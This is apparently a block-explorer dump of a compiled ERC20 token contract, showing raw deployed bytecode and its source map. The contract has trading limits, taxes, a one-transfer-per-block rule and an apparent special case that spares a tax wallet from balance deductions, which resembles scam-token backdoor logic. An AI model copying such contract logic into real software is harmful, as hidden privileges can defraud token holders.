5b505050506040513d601f19601f82011682018060405250810190610630919061173c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561067a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061069e919061173c565b601480546001600160a01b039283166001600160a01b031990911617905560135461010090041663f305d71947306106ea816001600160a01b03165f908152600e602052604090205490565b5f806106fd5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610763573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107889190611757565b505060145460135460405163095ea7b360e01b81526001600160a01b03610100909204821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156107e2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108069190611782565b506014805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b031633146108495760405162461bcd60e51b81526004016104869061171b565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6103ca338484610a7e565b5f546001600160a01b031633146108c65760405162461bcd60e51b81526004016104869061171b565b6108d26009600a6116f6565b6108e1906409cb81ff40611704565b6001556108f06009600a6116f6565b6108ff906409cb81ff40611704565b6002556013805460ff191690557f1d64d12f40e749be37d614ff686c1b80a20c39e5cee424205740d5d3d4c2fce86109396009600a6116f6565b610948906409cb81ff40611704565b60405190815260200160405180910390a1565b6001600160a01b0383166109bd5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610486565b6001600160a01b038216610a1e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610486565b6001600160a01b038381165f818152600f602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ae75760405162461bcd60e51b815260206004820152602a60248201527f45524332303a20207472616e73666572202066726f6d202074686520207a65726044820152696f20206164647265737360b01b6064820152608401610486565b6001600160a01b038216610b495760405162461bcd60e51b8152602060048201526024808201527f45524332303a207472616e7366657220746f20746865207a65726f20206164646044820152637265737360e01b6064820152608401610486565b5f8111610bb05760405162461bcd60e51b815260206004820152602f60248201527f5472616e736665722020616d6f756e7420206d7573742020626520206772656160448201526e74657220207468616e20207a65726f60881b6064820152608401610486565b5f80546001600160a01b03858116911614801590610bdb57505f546001600160a01b03848116911614155b15610fb15760135460ff1615610ca3576013546001600160a01b038481166101009092041614801590610c1c57506014546001600160a01b03848116911614155b15610ca357325f908152601260205260409020544311610c915760405162461bcd60e51b815260206004820152602a60248201527f204f6e6c7920206f6e6520207472616e7366657220207065722020626c6f636b604482015269101030b63637bbb2b21760b11b6064820152608401610486565b325f9081526012602052604090204390555b6014546001600160a01b038581169116148015610cd357506013546001600160a01b038481166101009092041614155b8015610cf757506001600160a01b0383165f9081526010602052604090205460ff16155b15610dee57600154821115610d1e5760405162461bcd60e51b8152600401610486906117a1565b60025482610d40856001600160a01b03165f908152600e602052604090205490565b610d4a91906117c1565b1115610d685760405162461bcd60e51b8152600401610486906117a1565b600b54600c541015610d8657610d7d83611128565b15610d86575f80fd5b600c8054905f610d95836117d4565b90915550506001600160a01b0383165f908152601160205260409020805460ff19166001179055600954600c54610deb91606491610de59110610dda57600554610dde565b6007545b8590611181565b906111e0565b90505b6014546001600160a01b038481169116148015610e1457506001600160a01b0384163014155b8015610e3857506001600160a01b0384165f9081526010602052604090205460ff16155b15610ede576001548211158015610e695750600454600d546001600160a01b03165f908152600e6020526040902054105b610e855760405162461bcd60e51b8152600401610486906117a1565b610eaa6064610de5600a54600c5411610ea057600654610dde565b6008548590611181565b9050600b54600c54118015610ed657506001600160a01b0384165f9081526011602052604090205460ff165b610ede575f80fd5b305f908152600e6020526040902054601454600160a81b900460ff16158015610f1457506014546001600160a01b038581169116145b8015610f295750601454600160b01b900460ff165b8015610f36575060035481115b8015610f455750600b54600c54115b8015610f6957506001600160a01b0384165f9081526010602052604090205460ff16155b8015610f8d57506001600160a01b0385165f9081526010602052604090205460ff16155b15610faf57610faf610faa84610fa58460045461120c565b61120c565b611221565b505b801561102957305f908152600e6020526040902054610fd090826113cd565b305f818152600e6020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110209085815260200190565b60405180910390a35b6001600160a01b0384165f908152600e602052604090205461104d90859084611416565b6001600160a01b0385165f908152600e6020526040902055611090611072838361148e565b6001600160a01b0385165f908152600e6020526040902054906113cd565b6001600160a01b038085165f818152600e602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110d9858561148e565b60405190815260200160405180910390a350505050565b5f81848411156111135760405162461bcd60e51b815260040161048691906114e6565b505f61111f84866117ec565b95945050505050565b6040805160018082528183019092525f91829182916020808301908036833701905050905083815f81518110611160576111606117ff565b6001600160a01b03909216602092830291909101909101525050503b151590565b5f825f0361119057505f6103ce565b5f61119b8385611704565b9050826111a88583611813565b146104565760405162461bcd60e51b81526020600482015260086024820152670a6c2ccca9ac2e8d60c31b6044820152606401610486565b5f6104568383604051806040016040528060088152602001670a6c2ccca9ac2e8d60c31b8152506114ba565b5f8183101561121b5782610456565b50919050565b6014805460ff60a81b1916600160a81b17905580156113bd57601454600160a01b900460ff16156113bd576040805160028082526060820183525f9260208301908036833701905050905030815f8151811061127f5761127f6117ff565b60200260200101906001600160a01b031690816001600160a01b031681525050601360019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156112f0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611314919061173c565b81600181518110611327576113276117ff565b6001600160a01b0392831660209182029290920101526013546113529130916101009004168461095b565b60135460405163791ac94760e01b81526101009091046001600160a01b03169063791ac9479061138e9085905f90869030904290600401611832565b5f604051808303815f87803b1580156113a5575f80fd5b505af11580156113b7573d5f803e3d5ffd5b50505050505b506014805460ff60a81b19169055565b5f806113d983856117c1565b9050838110156104565760405162461bcd60e51b81526020600482015260086024820152670a6c2ccca9ac2e8d60c31b6044820152606401610486565b600d545f906001600160a01b0390811690851603611435575081610456565b8183101561147d5760405162461bcd60e51b81526020600482015260156024820152745375627472616374696f6e20756e646572666c6f7760581b6044820152606401610486565b61148782846117ec565b9050610456565b5f6104568383604051806040016040528060088152602001670a6c2ccca9ac2e8d60c31b8152506110f0565b5f81836114da5760405162461bcd60e51b815260040161048691906114e6565b505f61111f8486611813565b5f6020808352835180828501525f5b81811015611511578581018301518582016040015282016114f5565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611545575f80fd5b50565b5f8060408385031215611559575f80fd5b823561156481611531565b946020939093013593505050565b5f805f60608486031215611584575f80fd5b833561158f81611531565b9250602084013561159f81611531565b929592945050506040919091013590565b5f602082840312156115c0575f80fd5b813561045681611531565b5f80604083850312156115dc575f80fd5b82356115e781611531565b915060208301356115f781611531565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561165057815f190482111561163657611636611602565b8085161561164357918102915b93841c939080029061161b565b509250929050565b5f82611666575060016103ce565b8161167257505f6103ce565b81600181146116885760028114611692576116ae565b60019150506103ce565b60ff8411156116a3576116a3611602565b50506001821b6103ce565b5060208310610133831016604e8410600b84101617156116d1575081810a6103ce565b6116db8383611616565b805f19048211156116ee576116ee611602565b029392505050565b5f61045660ff841683611658565b80820281158282048414176103ce576103ce611602565b6020808252600790820152664f776e61626c6560c81b604082015260600190565b5f6020828403121561174c575f80fd5b815161045681611531565b5f805f60608486031215611769575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611792575f80fd5b81518015158114610456575f80fd5b602080825260069082015265119bdc989a5960d21b604082015260600190565b808201808211156103ce576103ce611602565b5f600182016117e5576117e5611602565b5060010190565b818103818111156103ce576103ce611602565b634e487b7160e01b5f52603260045260245ffd5b5f8261182d57634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156118805784516001600160a01b03168352938301939183019160010161185b565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122058cd9e1fdecfbd1261adc423fd01e97c1b8f309fc0d8727e5a8260b28db9b27e64736f6c63430008140033

Deployed Bytecode Sourcemap

3465:8338:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3863:48;;;;;;;;;;;;;;;;;;;160:25:1;;;148:2;133:18;3863:48:0;;;;;;;;5404:83;;;;;;;;;;-1:-1:-1;5474:5:0;;;;;;;;;;;;;;;;;5404:83;;;;;;;:::i;6244:161::-;;;;;;;;;;-1:-1:-1;6244:161:0;;;;;:::i;:::-;;:::i;:::-;;;1370:14:1;;1363:22;1345:41;;1333:2;1318:18;6244:161:0;1205:187:1;5681:100:0;;;;;;;;;;;;;:::i;6413:316::-;;;;;;;;;;-1:-1:-1;6413:316:0;;;;;:::i;:::-;;:::i;3814:42::-;;;;;;;;;;;;;;;;11081:673;;;;;;;;;;;;;:::i;:::-;;5590:83;;;;;;;;;;-1:-1:-1;5590:83:0;;3728:1;2000:36:1;;1988:2;1973:18;5590:83:0;1858:184:1;4715:37:0;;;;;;;;;;-1:-1:-1;4715:37:0;;;;;;;;5789:119;;;;;;;;;;-1:-1:-1;5789:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5882:18:0;5855:7;5882:18;;;:9;:18;;;;;;;5789:119;2638:148;;;;;;;;;;;;;:::i;2449:79::-;;;;;;;;;;-1:-1:-1;2487:7:0;2514:6;-1:-1:-1;;;;;2514:6:0;2449:79;;;-1:-1:-1;;;;;2463:32:1;;;2445:51;;2433:2;2418:18;2449:79:0;2299:203:1;3972:42:0;;;;;;;;;;;;;;;;5495:87;;;;;;;;;;-1:-1:-1;5567:7:0;;;;;;;;;;;;-1:-1:-1;;;5567:7:0;;;;5495:87;;5916:167;;;;;;;;;;-1:-1:-1;5916:167:0;;;;;:::i;:::-;;:::i;3918:47::-;;;;;;;;;;;;;;;;10575:219;;;;;;;;;;;;;:::i;4331:74::-;;;;;;;;;;-1:-1:-1;4331:74:0;;;;-1:-1:-1;;;;;4331:74:0;;;6091:145;;;;;;;;;;-1:-1:-1;6091:145:0;;;;;:::i;:::-;-1:-1:-1;;;;;6200:19:0;;;6173:7;6200:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;6091:145;6244:161;6319:4;6336:39;2096:10;6359:7;6368:6;6336:8;:39::i;:::-;-1:-1:-1;6393:4:0;6244:161;;;;;:::o;5681:100::-;5734:7;3793:13;3728:1;3793:2;:13;:::i;:::-;3778:29;;:11;:29;:::i;:::-;5754:19;;5681:100;:::o;6413:316::-;6511:4;6528:36;6538:6;6546:9;6557:6;6528:9;:36::i;:::-;6575:124;6584:6;2096:10;6606:92;6647:6;6606:92;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6606:19:0;;;;;;:11;:19;;;;;;;;2096:10;6606:33;;;;;;;;;;:40;:92::i;:::-;6575:8;:124::i;:::-;-1:-1:-1;6717:4:0;6413:316;;;;;;:::o;11081:673::-;2576:6;;-1:-1:-1;;;;;2576:6:0;2096:10;2576:22;2568:42;;;;-1:-1:-1;;;2568:42:0;;;;;;;:::i;:::-;;;;;;;;;11147:10:::1;::::0;-1:-1:-1;;;11147:10:0;::::1;;;11146:11;11137:43;;;::::0;-1:-1:-1;;;11137:43:0;;5125:2:1;11137:43:0::1;::::0;::::1;5107:21:1::0;5164:2;5144:18;;;5137:30;-1:-1:-1;;;5183:18:1;;;5176:47;5240:18;;11137:43:0::1;4923:341:1::0;11137:43:0::1;11192:13;:79:::0;;-1:-1:-1;;;;;;11192:79:0::1;::::0;::::1;::::0;;;;11282:62:::1;::::0;11301:4:::1;::::0;-1:-1:-1;;;;;11192:79:0::1;11315:13:::0;;::::1;;3793;3728:1;3793:2;:13;:::i;:::-;3778:29;::::0;:11:::1;:29;:::i;11282:62::-;11385:13;;;;;;;;;-1:-1:-1::0;;;;;11385:13:0::1;-1:-1:-1::0;;;;;11385:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11367:53:0::1;;11430:4;11437:13;;;;;;;;;-1:-1:-1::0;;;;;11437:13:0::1;-1:-1:-1::0;;;;;11437:19:0::1;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11367:92;::::0;-1:-1:-1;;;;;;11367:92:0::1;::::0;;;;;;-1:-1:-1;;;;;5755:15:1;;;11367:92:0::1;::::0;::::1;5737:34:1::0;5807:15;;5787:18;;;5780:43;5672:18;;11367:92:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11355:9;:104:::0;;-1:-1:-1;;;;;11355:104:0;;::::1;-1:-1:-1::0;;;;;;11355:104:0;;::::1;;::::0;;11470:13:::1;::::0;11355:104:::1;11470:13:::0;::::1;;:29;11507:21;11540:4;11546:25;11540:4:::0;-1:-1:-1;;;;;5882:18:0;5855:7;5882:18;;;:9;:18;;;;;;;5789:119;11546:25:::1;11572:1;11574::::0;11576:7:::1;2487::::0;2514:6;-1:-1:-1;;;;;2514:6:0;;2449:79;11576:7:::1;11470:130;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11470:130:0;;;-1:-1:-1;;;;;6193:15:1;;;11470:130:0::1;::::0;::::1;6175:34:1::0;6225:18;;;6218:34;;;;6268:18;;;6261:34;;;;6311:18;;;6304:34;6375:15;;;6354:19;;;6347:44;11584:15:0::1;6407:19:1::0;;;6400:35;6109:19;;11470:130:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11619:9:0::1;::::0;11647:13:::1;::::0;11611:68:::1;::::0;-1:-1:-1;;;11611:68:0;;-1:-1:-1;;;;;11619:9:0::1;11647:13:::0;;::::1;::::0;::::1;11611:68;::::0;::::1;6931:51:1::0;-1:-1:-1;;6998:18:1;;;6991:34;11619:9:0;::::1;::::0;-1:-1:-1;11611:26:0::1;::::0;6904:18:1;;11611:68:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11690:19:0::1;:26:::0;;-1:-1:-1;;;;11728:17:0;-1:-1:-1;;;11728:17:0;;;11081:673::o;2638:148::-;2576:6;;-1:-1:-1;;;;;2576:6:0;2096:10;2576:22;2568:42;;;;-1:-1:-1;;;2568:42:0;;;;;;;:::i;:::-;2745:1:::1;2729:6:::0;;2708:40:::1;::::0;-1:-1:-1;;;;;2729:6:0;;::::1;::::0;2708:40:::1;::::0;2745:1;;2708:40:::1;2776:1;2759:19:::0;;-1:-1:-1;;;;;;2759:19:0::1;::::0;;2638:148::o;5916:167::-;5994:4;6011:42;2096:10;6035:9;6046:6;6011:9;:42::i;10575:219::-;2576:6;;-1:-1:-1;;;;;2576:6:0;2096:10;2576:22;2568:42;;;;-1:-1:-1;;;2568:42:0;;;;;;;:::i;:::-;3793:13:::1;3728:1;3793:2;:13;:::i;:::-;3778:29;::::0;:11:::1;:29;:::i;:::-;10629:12;:29:::0;3793:13:::1;3728:1;3793:2;:13;:::i;:::-;3778:29;::::0;:11:::1;:29;:::i;:::-;10670:18;:33:::0;10715:16:::1;:24:::0;;-1:-1:-1;;10715:24:0::1;::::0;;10757:28:::1;3793:13;3728:1;3793:2;:13;:::i;:::-;3778:29;::::0;:11:::1;:29;:::i;:::-;10757:28;::::0;160:25:1;;;148:2;133:18;10757:28:0::1;;;;;;;10575:219::o:0;6737:337::-;-1:-1:-1;;;;;6831:19:0;;6823:68;;;;-1:-1:-1;;;6823:68:0;;7520:2:1;6823:68:0;;;7502:21:1;7559:2;7539:18;;;7532:30;7598:34;7578:18;;;7571:62;-1:-1:-1;;;7649:18:1;;;7642:34;7693:19;;6823:68:0;7318:400:1;6823:68:0;-1:-1:-1;;;;;6910:20:0;;6902:67;;;;-1:-1:-1;;;6902:67:0;;7925:2:1;6902:67:0;;;7907:21:1;7964:2;7944:18;;;7937:30;8003:34;7983:18;;;7976:62;-1:-1:-1;;;8054:18:1;;;8047:32;8096:19;;6902:67:0;7723:398:1;6902:67:0;-1:-1:-1;;;;;6980:19:0;;;;;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;:37;;;7033:33;;160:25:1;;;7033:33:0;;133:18:1;7033:33:0;;;;;;;6737:337;;;:::o;7082:2609::-;-1:-1:-1;;;;;7171:17:0;;7162:73;;;;-1:-1:-1;;;7162:73:0;;8328:2:1;7162:73:0;;;8310:21:1;8367:2;8347:18;;;8340:30;8406:34;8386:18;;;8379:62;-1:-1:-1;;;8457:18:1;;;8450:40;8507:19;;7162:73:0;8126:406:1;7162:73:0;-1:-1:-1;;;;;7255:15:0;;7246:65;;;;-1:-1:-1;;;7246:65:0;;8739:2:1;7246:65:0;;;8721:21:1;8778:2;8758:18;;;8751:30;8817:34;8797:18;;;8790:62;-1:-1:-1;;;8868:18:1;;;8861:34;8912:19;;7246:65:0;8537:400:1;7246:65:0;7340:1;7331:6;:10;7322:71;;;;-1:-1:-1;;;7322:71:0;;9144:2:1;7322:71:0;;;9126:21:1;9183:2;9163:18;;;9156:30;9222:34;9202:18;;;9195:62;-1:-1:-1;;;9273:18:1;;;9266:45;9328:19;;7322:71:0;8942:411:1;7322:71:0;7404:18;2514:6;;-1:-1:-1;;;;;7443:15:0;;;2514:6;;7443:15;;;;:30;;-1:-1:-1;2487:7:0;2514:6;-1:-1:-1;;;;;7461:12:0;;;2514:6;;7461:12;;7443:30;7437:1862;;;7497:16;;;;7492:319;;;7552:13;;-1:-1:-1;;;;;7539:27:0;;;7552:13;;;;;7539:27;;;;:53;;-1:-1:-1;7582:9:0;;-1:-1:-1;;;;;7569:23:0;;;7582:9;;7569:23;;7539:53;7534:262;;;7641:9;7624:27;;;;:16;:27;;;;;;7654:12;-1:-1:-1;7615:98:0;;;;-1:-1:-1;;;7615:98:0;;9560:2:1;7615:98:0;;;9542:21:1;9599:2;9579:18;;;9572:30;9638:34;9618:18;;;9611:62;-1:-1:-1;;;9689:18:1;;;9682:40;9739:19;;7615:98:0;9358:406:1;7615:98:0;7751:9;7734:27;;;;:16;:27;;;;;7764:12;7734:42;;7534:262;7841:9;;-1:-1:-1;;;;;7833:17:0;;;7841:9;;7833:17;:49;;;;-1:-1:-1;7868:13:0;;-1:-1:-1;;;;;7854:28:0;;;7868:13;;;;;7854:28;;7833:49;:72;;;;-1:-1:-1;;;;;;7886:19:0;;;;;;:15;:19;;;;;;;;7885:20;7833:72;7827:517;;;7945:12;;7935:6;:22;;7926:42;;;;-1:-1:-1;;;7926:42:0;;;;;;;:::i;:::-;8023:18;;8013:6;7996:14;8007:2;-1:-1:-1;;;;;5882:18:0;5855:7;5882:18;;;:9;:18;;;;;;;5789:119;7996:14;:23;;;;:::i;:::-;:45;;7987:64;;;;-1:-1:-1;;;7987:64:0;;;;;;;:::i;:::-;8087:11;;8075:9;;:23;8070:94;;;8131:12;8140:2;8131:8;:12::i;:::-;8130:13;8121:23;;;;;;8182:9;:12;;;:9;:12;;;:::i;:::-;;;;-1:-1:-1;;;;;;;8197:15:0;;;;;;:11;:15;;;;;:22;;-1:-1:-1;;8197:22:0;8215:4;8197:22;;;8274:15;;8262:9;;8250:78;;8324:3;;8250:69;;-1:-1:-1;8261:57:0;;8304:14;;8261:57;;;8291:12;;8261:57;8250:6;;:10;:69::i;:::-;:73;;:78::i;:::-;8238:90;;7827:517;8369:9;;-1:-1:-1;;;;;8363:15:0;;;8369:9;;8363:15;:38;;;;-1:-1:-1;;;;;;8380:21:0;;8396:4;8380:21;;8363:38;:64;;;;-1:-1:-1;;;;;;8406:21:0;;;;;;:15;:21;;;;;;;;8404:23;8363:64;8360:374;;;8467:12;;8457:6;:22;;:64;;;;-1:-1:-1;8509:12:0;;8493:13;;-1:-1:-1;;;;;8493:13:0;5855:7;5882:18;;;:9;:18;;;;;;8483:38;8457:64;8448:84;;;;-1:-1:-1;;;8448:84:0;;;;;;;:::i;:::-;8563:83;8642:3;8563:74;8587:17;;8575:9;;:29;8574:62;;8621:15;;8574:62;;;8607:13;;8563:6;;:10;:74::i;:83::-;8551:95;;8685:11;;8674:9;;:22;:43;;;;-1:-1:-1;;;;;;8700:17:0;;;;;;:11;:17;;;;;;;;8674:43;8665:53;;;;;;8799:4;8750:28;5882:18;;;:9;:18;;;;;;8825:11;;-1:-1:-1;;;8825:11:0;;;;8824:12;:46;;;;-1:-1:-1;8861:9:0;;-1:-1:-1;;;;;8855:15:0;;;8861:9;;8855:15;8824:46;:67;;;;-1:-1:-1;8872:19:0;;-1:-1:-1;;;8872:19:0;;;;8824:67;:110;;;;;8917:17;;8894:20;:40;8824:110;:152;;;;;8965:11;;8953:9;;:23;8824:152;:177;;;;-1:-1:-1;;;;;;8981:20:0;;;;;;:15;:20;;;;;;;;8979:22;8824:177;:204;;;;-1:-1:-1;;;;;;9006:22:0;;;;;;:15;:22;;;;;;;;9004:24;8824:204;8820:468;;;9064:70;9078:55;9084:6;9091:41;9097:20;9119:12;;9091:5;:41::i;:::-;9078:5;:55::i;:::-;9064:13;:70::i;:::-;7475:1824;7437:1862;9316:13;;9311:174;;9391:4;9372:25;;;;:9;:25;;;;;;:40;;9402:9;9372:29;:40::i;:::-;9363:4;9345:24;;;;:9;:24;;;;;;;:67;;;;9431:42;;-1:-1:-1;;;;;9431:42:0;;;;;;;9463:9;160:25:1;;148:2;133:18;;14:177;9431:42:0;;;;;;;;9311:174;-1:-1:-1;;;;;9526:16:0;;;;;;:9;:16;;;;;;9513:38;;9519:4;;9544:6;9513:5;:38::i;:::-;-1:-1:-1;;;;;9495:15:0;;;;;;:9;:15;;;;;:56;9578:43;9596:24;:6;9610:9;9596:12;:24::i;:::-;-1:-1:-1;;;;;9578:13:0;;;;;;:9;:13;;;;;;;:17;:43::i;:::-;-1:-1:-1;;;;;9562:13:0;;;;;;;:9;:13;;;;;:59;;;;9638:45;;;9658:24;:6;9672:9;9658:13;:24::i;:::-;9638:45;;160:25:1;;;148:2;133:18;9638:45:0;;;;;;;7151:2540;7082:2609;;;:::o;1225:193::-;1314:7;1350:12;1342:6;;;;1334:29;;;;-1:-1:-1;;;1334:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1374:9:0;1386:5;1390:1;1386;:5;:::i;:::-;1374:17;1225:193;-1:-1:-1;;;;;1225:193:0:o;10801:270::-;10923:16;;;10937:1;10923:16;;;;;;;;;10858:4;;;;;;10923:16;;;;;;;;;;;-1:-1:-1;10923:16:0;10894:45;;10961:7;10946:9;10956:1;10946:12;;;;;;;;:::i;:::-;-1:-1:-1;;;;;10946:22:0;;;:12;;;;;;;;;;;:22;-1:-1:-1;;;11009:20:0;11051:12;;;10801:270::o;1426:221::-;1484:7;1508:1;1513;1508:6;1504:47;;-1:-1:-1;1538:1:0;1531:8;;1504:47;1561:9;1573:5;1577:1;1573;:5;:::i;:::-;1561:17;-1:-1:-1;1606:1:0;1597:5;1601:1;1561:17;1597:5;:::i;:::-;:10;1589:31;;;;-1:-1:-1;;;1589:31:0;;11194:2:1;1589:31:0;;;11176:21:1;11233:1;11213:18;;;11206:29;-1:-1:-1;;;11251:18:1;;;11244:38;11299:18;;1589:31:0;10992:331:1;1655:114:0;1713:7;1740:21;1744:1;1747;1740:21;;;;;;;;;;;;;-1:-1:-1;;;1740:21:0;;;:3;:21::i;10215:106::-;10274:7;10303:1;10298;:6;;10297:16;;10312:1;10297:16;;;-1:-1:-1;10308:1:0;10215:106;-1:-1:-1;10215:106:0:o;9699:508::-;5041:11;:18;;-1:-1:-1;;;;5041:18:0;-1:-1:-1;;;5041:18:0;;;9781:34;;9807:7:::1;9781:34;9829:10;::::0;-1:-1:-1;;;9829:10:0;::::1;;;9825:24:::0;9841:7:::1;9825:24;9884:19;::::0;;9901:1:::1;9884:19:::0;;;;;::::1;::::0;;9859:21:::1;::::0;9884:19:::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9884:19:0::1;9859:44;;9933:4;9914;9919:1;9914:7;;;;;;;;:::i;:::-;;;;;;:24;-1:-1:-1::0;;;;;9914:24:0::1;;;-1:-1:-1::0;;;;;9914:24:0::1;;;::::0;::::1;9959:13;;;;;;;;;-1:-1:-1::0;;;;;9959:13:0::1;-1:-1:-1::0;;;;;9959:18:0::1;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9949:4;9954:1;9949:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9949:30:0;;::::1;:7;::::0;;::::1;::::0;;;;;:30;10024:13:::1;::::0;9990:69:::1;::::0;10008:4:::1;::::0;10024:13:::1;::::0;::::1;;10040:18:::0;9990:8:::1;:69::i;:::-;10070:13;::::0;:129:::1;::::0;-1:-1:-1;;;10070:129:0;;:13:::1;::::0;;::::1;-1:-1:-1::0;;;;;10070:13:0::1;::::0;:64:::1;::::0;:129:::1;::::0;10136:18;;10156:1:::1;::::0;10159:4;;10173::::1;::::0;10180:17:::1;::::0;10070:129:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;9770:437;5070:1;-1:-1:-1::0;5082:11:0;:19;;-1:-1:-1;;;;5082:19:0;;;9699:508::o;929:160::-;987:7;;1019:5;1023:1;1019;:5;:::i;:::-;1007:17;;1048:1;1043;:6;;1035:27;;;;-1:-1:-1;;;1035:27:0;;11194:2:1;1035:27:0;;;11176:21:1;11233:1;11213:18;;;11206:29;-1:-1:-1;;;11251:18:1;;;11244:38;11299:18;;1035:27:0;10992:331:1;10329:238:0;10430:13;;10402:7;;-1:-1:-1;;;;;10430:13:0;;;10422:21;;;;10418:142;;-1:-1:-1;10463:1:0;10456:8;;10418:142;10502:1;10497;:6;;10489:40;;;;-1:-1:-1;;;10489:40:0;;12515:2:1;10489:40:0;;;12497:21:1;12554:2;12534:18;;;12527:30;-1:-1:-1;;;12573:18:1;;;12566:51;12634:18;;10489:40:0;12313:345:1;10489:40:0;10547:5;10551:1;10547;:5;:::i;:::-;10540:12;;;;1097:120;1158:7;1186:23;1192:1;1195;1186:23;;;;;;;;;;;;;-1:-1:-1;;;1186:23:0;;;:5;:23::i;1777:189::-;1863:7;1898:12;1891:5;1883:28;;;;-1:-1:-1;;;1883:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1922:9:0;1934:5;1938:1;1934;:5;:::i;196:548:1:-;308:4;337:2;366;355:9;348:21;398:6;392:13;441:6;436:2;425:9;421:18;414:34;466:1;476:140;490:6;487:1;484:13;476:140;;;585:14;;;581:23;;575:30;551:17;;;570:2;547:26;540:66;505:10;;476:140;;;480:3;665:1;660:2;651:6;640:9;636:22;632:31;625:42;735:2;728;724:7;719:2;711:6;707:15;703:29;692:9;688:45;684:54;676:62;;;;196:548;;;;:::o;749:131::-;-1:-1:-1;;;;;824:31:1;;814:42;;804:70;;870:1;867;860:12;804:70;749:131;:::o;885:315::-;953:6;961;1014:2;1002:9;993:7;989:23;985:32;982:52;;;1030:1;1027;1020:12;982:52;1069:9;1056:23;1088:31;1113:5;1088:31;:::i;:::-;1138:5;1190:2;1175:18;;;;1162:32;;-1:-1:-1;;;885:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:422;3121:1;3164:5;3121:1;3178:270;3199:7;3189:8;3186:21;3178:270;;;3258:4;3254:1;3250:6;3246:17;3240:4;3237:27;3234:53;;;3267:18;;:::i;:::-;3317:7;3307:8;3303:22;3300:55;;;3337:16;;;;3300:55;3416:22;;;;3376:15;;;;3178:270;;;3182:3;3032:422;;;;;:::o;3459:806::-;3508:5;3538:8;3528:80;;-1:-1:-1;3579:1:1;3593:5;;3528:80;3627:4;36